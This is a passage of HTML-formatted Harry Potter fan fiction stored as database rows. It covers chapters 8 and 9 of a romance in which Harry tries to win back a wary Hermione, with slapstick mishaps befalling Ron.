feel it when we kissed.&nbsp; Don&#8217;t tell\nme you didn&#8217;t feel anything I know you did.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shrugged, &#8220;What can I say\nthe body responds to something nice, even if it&#8217;s something you&#8217;re doing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry chose to ignore that, &#8220;You\nlike it when I hold you and touch you, caress and kiss you.&nbsp; And I like it too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I know you like it, you&#8217;re\njust a slut.&#8221; Hermione said in bitterness.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Again Harry ignored that\nstatement. &#8220;Why are you being so stubborn?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why are you, take a hint and\nleave me be!&nbsp; Or do I have to get mean.&#8221;\nHermione spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry grinned, &#8220;You can say\nanything you want to me I don&#8217;t care, nothing you say will make me believe any\nof it.&#8221;&nbsp; Harry stopped grinning and was\nvery serious. &#8220;Now why can&#8217;t you have that much faith in me?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione almost lost her mask the\nwave of tears that was building up, she really wanted to throw herself at him\nand hold him close, tell him how much she loved him.&nbsp; But she dared not, she knew what he was like\nwith other girls, she saw how much effort he put in the chase, he was not one\nto give up until the other gave in.&nbsp; It\nwas the same thing he was doing with her. Hermione was not one of those\ngirls.&nbsp; She would not give in.&nbsp; &#8220;Stay away from me, just stay away.&#8221; She\nturned the door handle and fled from the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stepped out of the room\nwatching Hermione in great speed flee down the hall.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;She\nalmost gave in, you were that close. No, that wasn&#8217;t working; all I was doing\nwas making her think about it.&nbsp; Hmm Maybe\nI should try a different approach.&nbsp; Yeah\ntry making her jealous, nothing fuels the fire like jealousy.&#8217;</i>&nbsp; Harry nodded.&nbsp;\nYep he would try that.&nbsp;&nbsp; Well that\ndance was tonight, it just so happened that he saw\nKelly walking with her friends walking from the Gryffindor tower.&nbsp; Harry straightened his shirt collar and\napproached Kelly and her friends.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Kelly, what&#8217;s up?&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Kelly smiled back, &#8220;Hi.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, she was actually pleasant\nnow.&nbsp; It&#8217;s a shame he wasn&#8217;t chasing\nafter her anymore.&nbsp; But right now, he\nreally needed her help. &#8220;Kelly, lets talk. I have something very important to\ntell you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">======</p>\n\n<p class="MsoNormal">Well that&#8217;s it for chapter 8, I hope you liked it.</p>\n\n\n\n\n\n\n'),
	(15, 9, ' <p>Disclaimer: No way are any of the original HP characters mine they totally belong to J.K. Rowlings.&nbsp; You are nuts to even think that I own this, where do you people get your information. Honestly :)</p>\n\n<p>All That She Wants</p>\n\n<p>Chapter 9&#8212; I Want You To Love Me</p>\n\n<p>&#8220;So what is it you wanted to tell me?&#8221; Kelly said with a smile.</p>\n\n<p>Harry grinned, &#8220;I&#8217;m afraid I need your help.&#8221;</p>\n\n<p>&#8220;My help, what for?&#8221; Kelly wondered if he was gonna try hitting on her again, not that she minded.&nbsp; But she didn&#8217;t want to seem eager or anything so she played it light.</p>\n\n<p>&#8220;You see.&#8221;&nbsp; Harry scratched the back of his neck nervously, &#8220;I sort of fell in love with Hermione, and I kinda said some stupid things.&#8221;&nbsp; He took a deep breath. &#8220;Basically she wants me out of her life, but I can&#8217;t let her get away I need her too much.&#8221;</p>\n\n<p>Kelly just stood there staring at him not speaking, she too took a breath.&nbsp; &#8220;Well if she wants you out of her life, then there&#8217;s not much you can do.&#8221;</p>\n\n<p>&#8220;Sure she said that, but she doesn&#8217;t mean it.&nbsp; I see it in her eyes that she too loves me.&nbsp; But Hermione is just so stubborn.&#8221; He sat down against the wall looking up at her, &#8220;I&#8217;ve tried everything but she just won&#8217;t relent.&#8221;</p>\n\n<p>&#8220;I don&#8217;t see what this has to do with me though.&#8221; Kelly&#8217;s eyes squinted in confusion.</p>\n\n<p>&#8220;I think the jealousy route might work.&#8221; He said carefully.&nbsp; &#8220;If she sees me with another girl&#8230;she might forget about ignoring me.&#8221;</p>\n\n<p>&#8220;I see.&#8221;&nbsp; Kelly thought a moment; she really didn&#8217;t want to help Harry get another girl.&nbsp; But then again it wasn&#8217;t every day that the school&#8217;s Lady&#8217;s Man fell in love. &nbsp;She smiled a bit thinking &#8216;<i>it&#8217;s about bloody time</i>.&#8217;&nbsp; &#8220;All right, what do I have to do?&#8221;</p>\n\n<p>&#8220;Well I need a date to that dance at The Three Broomstcks tonight.&#8221;&nbsp; Harry&#8217;s smile was wide and almost pleading.</p>\n\n<p>&#8220;Whoa, whoa.&nbsp; No one said anything about a dance. I&#8217;m not exactly what you would call the social butterfly, and besides have you seen me dance?&nbsp; I stink. There&#8217;s no way in Hades am I going to that dance.&#8221;&nbsp; She said firmly while her arms crossed in front of her, against herself.&nbsp; Kelly saw Harry grinning up at her.</p>\n\n<p>*****</p>\n\n<p>&#8220;I can&#8217;t believe I let you talk me into this.&#8221; Kelly said holding onto Harry&#8217;s arm.</p>\n\n<p>&#8220;Look at it this way, you&#8217;re helping me out.&nbsp; We don&#8217;t have to dance; we can just sit at the table looking all cuddly and cute.&#8221;&nbsp; Harry smiled.</p>\n\n<p>&#8220;Okay what&#8217;s the plan?&#8221;</p>\n\n<p>&#8220;Well we sit here and look all cuddly every time Hermione looks our way, all right?&#8221;&nbsp; Harry said with a confident smile.</p>\n\n<p>Kelly nodded, &#8220;I&#8217;m only doing this cause you promised me that racing broom.&#8221;<br>\n\n<br>\n\n</p>\n\n<p>Harry smiled at the same time making a little pouty face &#8220;Aw Kelly I thought we were friends and that&#8217;s why you were helping me?&#8221;&nbsp; He saw her face flush with embarrassment.</p>\n\n<p>&#8220;Yeah okay that might be true, but you&#8217;re still buying me that racing broom.&#8221; Kelly said sitting down at an empty table.</p>\n\n<p>&#8220;Hey I promised I would buy it for you didn&#8217;t I?&nbsp; And I always keep my promises.&#8221; Harry said before he scanned the establishment for Hermione.&nbsp; He spotted her in the far off corner talking with a few girls, she looked relatively bored.&nbsp; Harry noticed she looked awfully cute in that knee length jean skirt and light blue peasant blouse.&nbsp; Her hair was wild and untamed as ever.&nbsp; It looked like she had given up on the hair treatment that Blaise provided for her.&nbsp; Harry smiled to himself, thinking she never looked better.&nbsp; The old Hermione was coming back, not the made over Hermione.&nbsp; He loved her for who she was.</p>\n\n<p>Harry saw Hermione turn her head to the left, which wasn&#8217;t too far from his table.&nbsp; She started moving over in his direction.&nbsp; Harry quickly glanced at Kelly as Hermione reached Justin&#8217;s side.</p>\n\n<p>&#8220;What happened to your hair?&#8221; Justin said to Hermione,&nbsp;&nbsp; They were within listening distance of Harry as he eavesdropped on their conversation.</p>\n\n<p>Hermione shrugged, &#8220; I didn&#8217;t like all that work it takes to keep it looking sleek, besides I kinda like the way I look and if you&#8217;ve got a problem with it&#8212;&#8221; She was rudely interrupted by Justin.</p>\n\n<p>&#8220;It looks like a mess, like you haven&#8217;t brushed it in months.&nbsp; Why don&#8217;t I take you back to Hogwarts so you can fix it and then we can come back?&#8221; He asked with a smile.</p>\n\n<p>&#8220;No, I don&#8217;t want to do that.&#8221; Hermione said seriously.</p>\n\n<p>&#8220;Look it&#8217;s embarrassing.&#8221; Justin said, his voice trimming with annoyance.</p>\n\n<p>&#8220;Well I&#8217;m not embarrassed by my hair, so neither should you be.&#8221; Her eyes narrowed.</p>\n\n<p>Justin held in his growl, &#8220;You look like a freak, and I won&#8217;t be seen with someone who doesn&#8217;t take the time to look nice.&#8221;</p>\n\n<p>Harry looking down at the table, squeezed his fingers together making a tight fist, how dare that fool say those things about Hermione.&nbsp; Harry looked at Hermione through the corner of his eye, to gauge her reaction.</p>\n\n<p>Hermione didn&#8217;t keep in her growl, she made it very clear that she was angry and that she wasn&#8217;t going to take his insulting her. She took a breath and calmly said. &#8220;Justin, I don&#8217;t think this is working out.&#8221;&nbsp; She said with a fake politeness.</p>\n\n<p>&#8220;What do you mean?&#8221; Justin didn&#8217;t like where this conversation was going.&nbsp; Sure she may look like a weirdo but that didn&#8217;t mean he wanted to give her up either.</p>\n\n<p>&#8220;You&#8217;re a smart guy, you know what I mean.&#8221; She smiled sarcastically.</p>\n\n<p>&#8220;You&#8217;re breaking up with me?!&#8221; His voice carried throughout the whole dance; there were people nearby who were watching the couple argue.</p>\n\n<p>&#8220;Bingo.&#8221; Her tone was really sarcastic. &#8220;You sound so surprised.&#8221;&nbsp; She glanced at her fingernails in a way telling him that she was bored and wanted out of this conversation.&nbsp; She turned and started moving away from him</p>\n\n<p>&#8220;But&#8230;but I didn&#8217;t even get to kiss you yet.&#8221; Justin said, he was getting angry that she was just leaving him there.</p>\n\n<p>Hermione spun on her heels, her long hair hung down over her shoulder, as it moved along with her.&nbsp; There was a cold smirk on her face yet her eyes twinkled. &#8220;You should have thought of that before you insulted me.&#8221;&nbsp; She flipped her hair behind her and continued towards the exit of The Three Broomsticks.</p>\n\n<p>&#8220;Yeah&#8230; well&#8221; He shouted to her retreating back.&nbsp; &#8220;There are far better females than you Hermione Granger.&nbsp; Who would want a trash like you anyways.&#8221;</p>\n\n<p>Hermione simply ignored him, not much he could say would have an affect on her.&nbsp; Ron Weasley could come up with better insults than him, the insult didn&#8217;t bother her. But now Harry, that was a different matter, he did not like that one bit.</p>\n\n<p>It just so happened that a waiter holding a tray with at least eight Butterbeers was walking past Harry&#8217;s table, almost automatically Harry stuck his foot out and the waiter tripped forward, his tray went flying through the air only to land all over Justin drenching him in the sticky goodness.<br>\n\n<br>\n\n</p>\n\n<p>Justin was so mad that he was gonna hit the waiter, he made to punch the waiter in the face but as he pulled his arm back he started to slip, his feet flailing out in some weird looking dance and he feel backwards landing with a hard thud on the floor.&nbsp; He couldn&#8217;t move he was stunned from the fall.&nbsp; His eyes blinked a couple of times as he saw stars.</p>\n\n<p>Harry watched as Hermione went through the door of The Three Broomsticks, he stood up from the table and apologized to Kelly for just leaving her there.</p>\n\n<p>&#8220;Ah it&#8217;s all right, just remember that racing broom.&#8221; Kelly smiled as Harry politely nodded and also headed towards the door.&nbsp; </p>\n\n<p>Harry pushed the door open stepping out into the cool air, he saw ahead of him Hermione heading towards the shops of Hogsmeade.&nbsp; He quickened his pace to an almost run, attempting to catch up with her. </p>\n\n<p>&#8220;Hermione, wait up.&#8221; Harry called out to her.</p>\n\n<p>&#8220;Go away Harry.&#8221; She said not turning around.</p>\n\n<p>&#8220;Never, I will never go away.&#8221;&nbsp; Harry wasn&#8217;t prepared for her to stop suddenly and turn facing him, he crashed right into her.</p>\n\n<p>Hermione&#8217;s hand planted firmly on her hips as she glared up at him, &#8220;What do you want?&#8221;</p>\n\n<p>&#8220;Only you.&#8221; Harry said very seriously.</p>\n\n<p>She moved her arms to cross in front of her, &#8220;Oh really?&#8221;&nbsp; The tone of her voice told Harry that she was clearly disbelieving him.</p>\n\n<p>Hermione tilted her head to the side, &#8220;You know it&#8217;s rather funny that just earlier today you were telling me that you love me I was thinking about that all day perhaps you do have feelings for me, I was going to speak with you this evening.&#8221;&nbsp; She took a small breath and looked down at the ground for a moment then lifted her eyes to his.&nbsp;&nbsp; &#8220;But I see you found someone to replace me and rather quickly at that.&#8221;</p>\n\n<p>&#8220;Replace you?&#8221;&nbsp; Harry shook his head, &#8220;Not at all, it&#8217;s not what you think.&#8221;</p>\n\n<p>&#8220;You mean I didn&#8217;t see you getting all cuddly and stuff with that&#8230; Gryffindor Kelly?&#8221; she said a little colder than expected.&nbsp;&nbsp;&nbsp; She really didn&#8217;t understand those jealous feelings she had; after all didn&#8217;t she tell him to leave her alone?&nbsp; She had no right to feel that way.</p>\n\n<p>&#8220;Well I was but&#8212;&#8221; He was interrupted rather rudely.</p>\n\n<p>&#8220;Okay.&#8221;&nbsp; Hermione smiled, but it wasn&#8217;t a happy smile, &#8220;That&#8217;s all I wanted to know.&#8221;&nbsp; She turned to walk away, she stopped and turned slightly.&nbsp; &#8220;You know for someone to claim that they are in love, and that person is the only one they want, it sure didn&#8217;t take long for that other person to find someone else.&#8221;</p>\n\n<p>&#8220;Hermione it wasn&#8217;t like that, you&#8217;ve got to believe me.&#8221; Harry waited for an answer from her, but he didn&#8217;t get one.&nbsp; He watched as Hermione disappeared in the crowd.&nbsp; He was such an idiot, now she&#8217;ll never believe anything he says.&nbsp; &#8220;I&#8217;m so stupid!&#8221;&nbsp; He shouted he shot his fist out punching a small little tree causing it to dent in fall over.&nbsp; He turned around facing the crowd.&nbsp; His head telling him to settle down, it wasn&#8217;t over yet.</p>\n\n<p>Ron was seated at a bench underneath a small tree enjoying the shade; he was lifting some kind of smoothie type drink to his lips.&nbsp; Out of the corner of his eye he saw the small tree start to fall towards him, before he could react the tree fell smacking him in the head knocking his face into his cup.&nbsp; The cup seemed to be suction cupped to his face and he couldn&#8217;t pull it off.&nbsp; He jumped up from the bench like a maniac trying to pull the stuck cup from his face.&nbsp; Passers by pointed and laughed, someone screamed and ranted about some crazy boy jumping around.</p>\n\n<p>He was screaming inside his cup as he pulled really, really hard.&nbsp; Finally the cup came lose but as he pulled it the sweet sugary drink spilled all over him; it was even dripping from his face.&nbsp; Girls were giggling hysterically at him, they pointed to the bright red ring that had formed around his face.&nbsp; </p>\n\n<p>&#8220;Damn it to Hades!&#8221;&nbsp; Ron cursed, he pulled his now soaked shirt from his body, what he didn&#8217;t see was the hive of Sugar Bees within the leaves of the tree.&nbsp; Ron tossed the shirt onto the tree covering the hive.</p>\n\n<p>There was a faint buzzing sound that Ron didn&#8217;t notice as he wiped his face with his hands trying to push off the juice.&nbsp; The bees were leaving the hive, crawling inside his shirt to get to the sugary substance.&nbsp; After a few minutes Ron didn&#8217;t bother to turn his shirt right side out, so he just slipped it on over his head.&nbsp; In a really grumpy mood he started walking down the street of Hogsmeade, he vaguely felt the tickling within his shirt, he just started scratching at his back in several different places. The tickling sensation was starting to drift lower into his pants. </p>\n\n<p>Ron saw a bee climb up out of the collar of his shirt, his eyes went wide.&nbsp; It was then he realized that the tickling inside his shirt and pants wasn&#8217;t just odd it was bees.&nbsp; He panicked and started hitting himself hard in places all over his body.&nbsp; This agitated the bees, he felt the sharp stingers enter his flesh; he yelped and screamed as he tore the shirt from his body.&nbsp; The bees were angry as well, chasing after him now.&nbsp; &#8220;Get away! Get away!&#8221;&nbsp; Ron screamed as his arms were waving wildly in the air.</p>\n\n<p>Harry watched as Ron breezed by him waving his arms about and yelling, Harry couldn&#8217;t help but chuckle.&nbsp; &#8220;That boy has clearly lost it.&#8221;&nbsp; He said out loud and continued on his way.</p>\n\n<p>Ron felt the stinging now in his pants as he started undoing them and pulling them from his body.&nbsp;&nbsp; Soon he was fully naked running through Hogsmeade, waving his arms and yelling.&nbsp; The bees had long sense stopped chasing him so he just looked like a naked crazy fool.&nbsp; </p>\n\n<p>He kept running and running when he crashed hard into something, he fell back landing on his naked rear end.&nbsp; He looked up to see Snape glaring down at him.</p>\n\n<p>&#8220;Detention Weasley, a whole months worth for streaking.&#8221;&nbsp; Snape snarled.</p>\n\n<p>Ron sputtered &#8220;but&#8230;but there were bees and they were in my clothes and chasing me, see.&#8221; Points behind him there weren&#8217;t a single bee in sight.</p>\n\n<p>&#8220;Two months Weasley, for arguing with me.&nbsp; And put some clothes on.&#8221; Snape walked away from the naked idiot still sitting on the ground. </p>\n\n<p>******</p>\n\n<p>Blaise rested her hand on Harry&#8217;s shoulder. &#8220;Sorry honey, but I could have told you that would never have worked.&nbsp; Why didn&#8217;t you come to me if you were trying to plan something?&#8221;</p>\n\n<p>Harry shrugged, &#8220;I never had any trouble trying to plan anything in my life, but every time I try some of my old ideas with Hermione, it blows up in my face.&#8221;</p>\n\n<p>&#8220;She really is a stubborn one isn&#8217;t she?&#8221; Blaise sat down on the Slytherin common room couch.</p>\n\n<p>&#8220;Well I&#8217;m not out of ideas yet.&#8221; Harry said confidently.</p>\n\n<p>&#8220;Oh no Harry, just tell her how you feel.&#8221; Blaise sighed.</p>\n\n<p>Harry shook his head, &#8220;I&#8217;ve already done that it didn&#8217;t work.&nbsp; This time I have an even better idea.&#8221; His eyes twinkled, &#8220;There is no way she&#8217;ll be able to resist me.&#8221;</p>\n\n<p>&#8220;Why do I have a feeling this new idea of yours is just screaming the word DOOM!!&#8221;&nbsp; She put her fingers to her sinuses.</p>\n\n<p>A hearty chuckle escaped from with in Harry, &#8220;oh have a little faith in you&#8217;re old friend.&#8221;&nbsp; He stood; it was almost time to put his new idea into action.</p>\n\n<p>Harry opened her door enough for her to see her wand from her room.&nbsp; He glanced around the bathroom once more before placing Hermione&#8217;s wand on the sink; he knew she often left it lying around somewhere, never really knowing where she had put it last.&nbsp; He heard her foot steps in her room, he could just imagine her looking everywhere for her wand.&nbsp;&nbsp; Harry smiled to himself as he stripped down; he flipped on the shower and stepped inside.</p>\n\n<p>Hermione got down on her hands and knees looking under her bed. &#8220;Where in the fates is my dumb wand?&#8221;&nbsp; She questioned herself out loud. <i>&#8216;Maybe if you kept it in one place you wouldn&#8217;t have to look for it now.&nbsp; Ah shut up.&#8217;</i>&nbsp; Her head argued.&nbsp; She stood up and dusted off her knees, her hands planted firmly on her hips as she glanced around the room for her wand.</p>\n\n<p>She stepped towards her dresser and opened the drawers.&nbsp; Turning around she leaned up against the furniture and through the corner of her eye she saw her wand.&nbsp; Her head snapped in that direction through the door that was only slightly open.&nbsp; Hermione started towards the door, but the sounds of water running alerted her to someone in the shower, and not just someone.&nbsp; But Harry.</p>\n\n<p>That meant he was naked, she gulped down a breath of air.&nbsp; She couldn&#8217;t just go in there and get it, what if she saw&#8230; something.&nbsp; Hermione felt the heat rising to her cheeks with just the thought of Harry being in the buff, she scratched the back of her neck nervously.&nbsp; She needed her wand though.&nbsp; <i>What to do? What to do?</i> She started pacing back and forth.&nbsp; Okay it was settled; she would close her eyes and feel around for her wand.&nbsp; That way she won&#8217;t mistakenly see anything she shouldn&#8217;t.&nbsp; Hermione shut her eyes tight and extended her hands forward feeling around for the door.&nbsp; The door was pushed open and she stepped through it.&nbsp;&nbsp; </p>\n\n<p>Harry turned off the water thinking she wasn&#8217;t coming. He heard the sound of the door opening.&nbsp; He faced the glass door and saw Hermione, her eyes were tightly closed and she was feeling the air in front of her.&nbsp; She looked so cute that Harry had to stifle a tiny chuckle.&nbsp; Harry quietly slid the glass door open and stepped out onto the tile floor.&nbsp; He reached for the towel on the rack and started to silently dry himself.&nbsp; He wrapped the towel around his waist and watched as she stepped forward cautiously, her hands still feeling the air.</p>\n\n<p>He stepped over by the sink, sitting half way up on the porcelain. Harry saw her hands touch the sink and move around a little.&nbsp; Hermione moved to the side a bit remembering in her mind where the wand was.</p>\n\n<p>The knot Harry tied wasn&#8217;t very tight and it came undone and the towel fell off, he would have to stand to get it.&nbsp; He was attempting to when Hermione&#8217;s hands grabbed a hold of his&#8230;. &#8220;Whoa.&#8221; The tone of his voice was half surprised as he sucked in a breath at the feel of her hands.</p>\n\n<p>Hermione felt numb, since when did wands make a noise?&nbsp; Somewhere in the back of her mind she knew that was no piece of wood she was holding on to.&nbsp; She gulped down a nervous breath of air.&nbsp; With her hands still holding the assumed wand she lifted one feeling the air in front of her.&nbsp; Her hand came in contact with a smooth yet hard slab of something.&nbsp;&nbsp; Her eyes squinted tighter together as her face also increased in color as she knew who that smooth&#8212;yet&#8212;hard&#8212;slab&#8212;of&#8212;something was <i>&#8216;oh please don&#8217;t tell me that was his&#8230;&#8217; </i>&nbsp;she took another breath <i>&#8216;that I just grabbed&#8217;</i>&nbsp; </p>\n\n<p><i>&#8216;Oh my goddess!&nbsp; I&#8217;m touching his&#8230;&#8217; </i>&nbsp;Her mind shouted as she pulled her hand quickly away as if it were on fire.&nbsp; Her eyes snapped open yet she forgot to lift her head.&nbsp; She was staring directly at member that had obviously reacted to her tough.&nbsp; Her face increased even more in color.&nbsp; Why couldn&#8217;t she bring herself to look away?&nbsp; Why was she having such naughty thoughts?&nbsp; She didn&#8217;t even realize how long she had been staring, yet she was sure it had been awhile.</p>\n\n<p>&#8220;See anything you like?&#8221; Harry said, which seemed to snap her out of her trance, he saw as she forcefully turned her head away.&nbsp; He only wanted her to see him, boy what a pleasant surprise that had been.&nbsp; Her hand on him was something he wanted to experience more of.</p>\n\n<p>&#8220;What were you thinking?&#8221; Hermione said.</p>\n\n<p>&#8220;No, what were you thinking Hermione?&#8221; Harry&#8217;s voice clearly told her he was amused.</p>\n\n<p>&#8220;What&#8230;were you doing in here?&nbsp; Why don&#8217;t you have any clothes on?&#8221;&nbsp; She knew those were stupid questions, but nothing else would come out of her mouth.&nbsp; Her mind had completely gone on shut down.</p>\n\n<p>&#8220;I was taking a nice shower that&#8217;s what I was doing.&#8221;&nbsp; He wrapped the towel around him, this time securing the knot.&nbsp;&nbsp; &#8220;Now what about you, do you often invade a man&#8217;s privacy like this?&#8221;&nbsp; He teased her.</p>\n\n<p>&#8220;No&#8230;no I needed my wand.&#8221; She stuttered.</p>\n\n<p>&#8220;So you grabbed mine.&#8221; Harry said with a smirk.</p>\n\n<p>Hermione&#8217;s head whipped around as she was looking up at him &#8220;It was an accident, I had my eyes closed I couldn&#8217;t see where I was grabbing.&#8221; She tired to explain.</p>\n\n<p>Harry tilted his head to the side a bit, &#8220;Hermione, tell me do I appeal to you at all?&#8221;</p>\n\n<p>&#8220;What kind of a question is that?&#8221; She was getting angry and her eyes narrowed.</p>\n\n<p>&#8220;Well I noticed you took a nice long look at me.&#8221; He said sounding a tad arrogant.</p>\n\n<p>Hermione closed her eyes a moment then opened them, &#8220;You sound a little sure of yourself, how do you know I wasn&#8217;t disgusted by the very thought of you?&#8221;</p>\n\n<p>He leaned in closer to her ear, &#8220;I could see it in your eyes, yes even though they were lowered.&nbsp; I could see.&#8221;&nbsp; Harry moved back a little cupping her cheek with a gentle hand.&nbsp; He could see just how frightened she was, he had never seen a fear like that in her eyes before.&nbsp; &#8220;It&#8217;s all right to look at me and like it Hermione.&#8221;</p>\n\n<p>&#8220;It&#8217;s not that.&#8221;&nbsp; Her voice surprisingly soft and quiet. </p>\n\n<p>&#8220;Then what is it?&#8221; Harry&#8217;s voice was just as gentle.</p>\n\n<p>Hermione took a deep breath, &#8220;Its not that you don&#8217;t appeal to me, I just can&#8217;t trust you.&nbsp; You really hurt me.&nbsp; How do I know you won&#8217;t do it again?&nbsp; How do I know this isn&#8217;t just one of your schemes to get the next girl?&#8221;&nbsp;&nbsp; </p>\n\n<p>&#8220;You&#8217;ve just got to have faith in me, I know what I had done was inexcusable and you don&#8217;t know how badly I regret doing and saying all that to you.&nbsp; Hermione, I really love you, why can&#8217;t you just let me in.&nbsp; Please forgive me.&#8221;&nbsp; Harry was staring into her eyes; he could see so many emotions battling for dominance.&nbsp; </p>\n\n<p>Hermione&#8217;s eyes brimmed with tears as she shook her head.&nbsp; &#8220;I&#8217;m sorry, I can&#8217;t.&#8221;&nbsp; She tore away from his hold and ran into her room slamming the door and locking it, forgetting all about her wand.</p>\n\n<p>Heart broken and Harry left the bathroom; he got into a pair of plaid shorts and a black t-shirt it was still too early to go to bed.&nbsp; Yet he lied down staring at the wall.&nbsp; He was out of ideas.&nbsp; He closed his eyes, like a flash of lightening he was struck with ideas.&nbsp; He jumped up from his bed going to the desk in his room; he picked up the quill and started writing on a piece of parchment.</p>\n\n<p>*****</p>\n\n<p>Hermione walked through Hogsmeade towards the town square where there was a nice patch of grass and some flowers growing about.&nbsp; She really didn&#8217;t want to remain at school on this beautiful Sunday; she also didn&#8217;t want the chance to be confronted by&#8212;</p>\n\n<p>&#8220;Hermione!&#8221; Harry shouted running towards her, &#8220;Hermione.&#8221;</p>\n\n<p>She didn&#8217;t know what made her stop moving; maybe it was the sound of his voice?&nbsp; But Hermione stopped on the small lawn, turned and faced him.&nbsp; &#8220;What is it Harry?&#8221;</p>\n\n<p>&#8220;Hermione, I love you.&#8221; Harry smiled wide, he was happy.</p>\n\n<p>&#8220;Not this again, Harry please&#8230;&#8221; Hermione was interrupted.</p>\n\n<p>&#8220;Hermione, I love you.&#8221; He shouted louder this time never faltering in his smile. This outburst caused a few passers by to stop.</p>\n\n<p>Hermione sighed, &#8220;Harry no&#8212;&#8221;</p>\n\n<p>&#8220;Hermione, I love you.&#8221; Harry said in the same tone, the same smile.</p>\n\n<p>Ron saw Harry talking to Hermione, this could be his chance.&nbsp; He would curse that Harry Potter; it would be easy too since he wasn&#8217;t paying attention to his surroundings.&nbsp; Ron chuckled evilly to himself as he pulled his wand from his pocket and started towards Harry.</p>\n\n<p>Every time Hermione opened her mouth to speak Harry would shout Hermione, I love you.&nbsp;&nbsp; If she wasn&#8217;t so depressed it would have been funny and she would have laughed out loud. </p>\n\n<p>&#8220;I love you Hermione, and I can prove it.&#8221;&nbsp;&nbsp; Harry pulled a piece of parchment from his front pocket, &#8220;I&#8217;ve written you a poem.&#8221; He smiled.</p>\n\n<p>Hermione was relieved he said something other than I love you, she took a breath then said.&nbsp; &#8220;Harry, how does that prove you love me?&nbsp; You write poems to all your girls.&#8221;</p>\n\n<p>&#8220;Okay, you&#8217;re right.&#8221;&nbsp; He crumples up the paper and tosses it behind him.&nbsp; As Ron was sneaking up behind Harry, the ball of paper flew hitting him right smack in the eye.</p>\n\n<p>&#8220;OWWW!!!&#8221; Ron yelled.&nbsp; Covering his eye with his hand as he was sure it was bleeding.&nbsp; Why did Harry have to throw so hard? </p>\n\n<p>&#8220;Well if you don&#8217;t want the poem, than here.&#8221; He pulled a rose from the inside pocket of his light jacket and held it out to her.&nbsp; &#8220;What about a rose, it&#8217;s beautiful like you?&#8221; He said very sincere.</p>\n\n<p>&#8220;You sent roses to Jasmine from Ravenclaw at the beginning of the year, how is that special and how does that tell me you love me?&#8221; Hermione glanced down at her feet.</p>\n\n<p>Harry nodded, &#8220;Yeah I forgot about that.&#8221;&nbsp; He tossed the flower over his shoulder as well.&nbsp; The flower flew through the air and hit Ron right across the face the thorns stuck into his cheek.&nbsp; Delaying the cursing Ron was getting really mad and he didn&#8217;t think.&nbsp; He ripped the flower from his face, the sharp pain surged through his body as the thorns tore out of his cheek. His mouth dropped open wide as a loud scream blasted out of him as he shrieked like a girl.&nbsp; Ron&#8217;s yelling drew an even bigger crowd, as they all stopped to watch what was going on.</p>\n\n<p>Ron was so furious, steam was literally rising from the top of his head.&nbsp; He gripped his wand tightly his knuckles were turning white he was approaching Harry&#8217;s back.&nbsp; He was gonna do it now.</p>\n\n<p>&#8220;Hermione, I was up half the night making these for you.&#8221; Harry said pulling a round tin from the waistband of his pants holding the tin towards her.&nbsp; &#8220;I know how much you love peanut butter and chocolate chip cookies so I baked them for you.&#8221;&nbsp; He waited; it looked like she was thinking.</p>\n\n<p>&#8220;Harry, you always give baked goods to your lady of the week.&#8221; She said with regret.&nbsp; Harry nodded; he too threw the tin over his shoulder.</p>\n\n<p>The cookie tin spun in the air and hit Ron right in the forehead with such a force it knocked him out, Ron&#8217;s body fell to the ground, not moving.</p>\n\n<p>Hermione couldn&#8217;t take this anymore; he was doing everything that he had done with other girls before.&nbsp; She turned and leave when Harry out of no where dropped to his knees hugging her tightly around the waist.&nbsp;&nbsp;&nbsp; She was completely shocked not expecting this at all.</p>\n\n<p>&#8220;Please Hermione, don&#8217;t leave me.&nbsp; Don&#8217;t go.&#8221;&nbsp; Harry was hugging her waist so tight., he wasn&#8217;t going to let go.&nbsp; He rested his forehead against her tummy, his eyes closed.&nbsp; &#8220;I need you.&#8221;&nbsp; After a few moments he still hadn&#8217;t moved from the position, he felt her hands rest lightly on his shoulders.&nbsp; Harry looked up at her.&nbsp; Hermione gasped at the site of the tears in his eyes.&nbsp; She had never seen him cry, ever.&nbsp; </p>\n\n<p>She continued to look at him; there he was on his knees in front of her holding her tightly.&nbsp; Trying to find someway to make her stay.&nbsp; She lifted a hand gently running it through his hair.&nbsp; She understood now that it wasn&#8217;t the jokes he made, it wasn&#8217;t the poems, the flowers, the cookies or even the promises he gave that she fell in love with.&nbsp; He was just Harry, that same vulnerable boy she had met all those years ago, who had no reason to trusting anyone, yet for some odd reason he trusted her.&nbsp;&nbsp; Now here he was with his arms around her trying to prove to her that he loved her.&nbsp; He did, there was no denying that now.</p>\n\n<p>&#8220;Oh Harry,&#8221; She said softly.&nbsp; &#8220;What am I going to do with you?&#8221;</p>\n\n<p>===========</p>\n\n<p>Well that&#8217;s it for chapter 9, I hope you enjoyed it.&nbsp; Now there&#8217;s only 2 more chapters left of this fic.&nbsp; I know its almost over, *sniffle*&nbsp; anyway, please review.&nbsp; Thanks Ryoko.&nbsp;&nbsp;&nbsp; 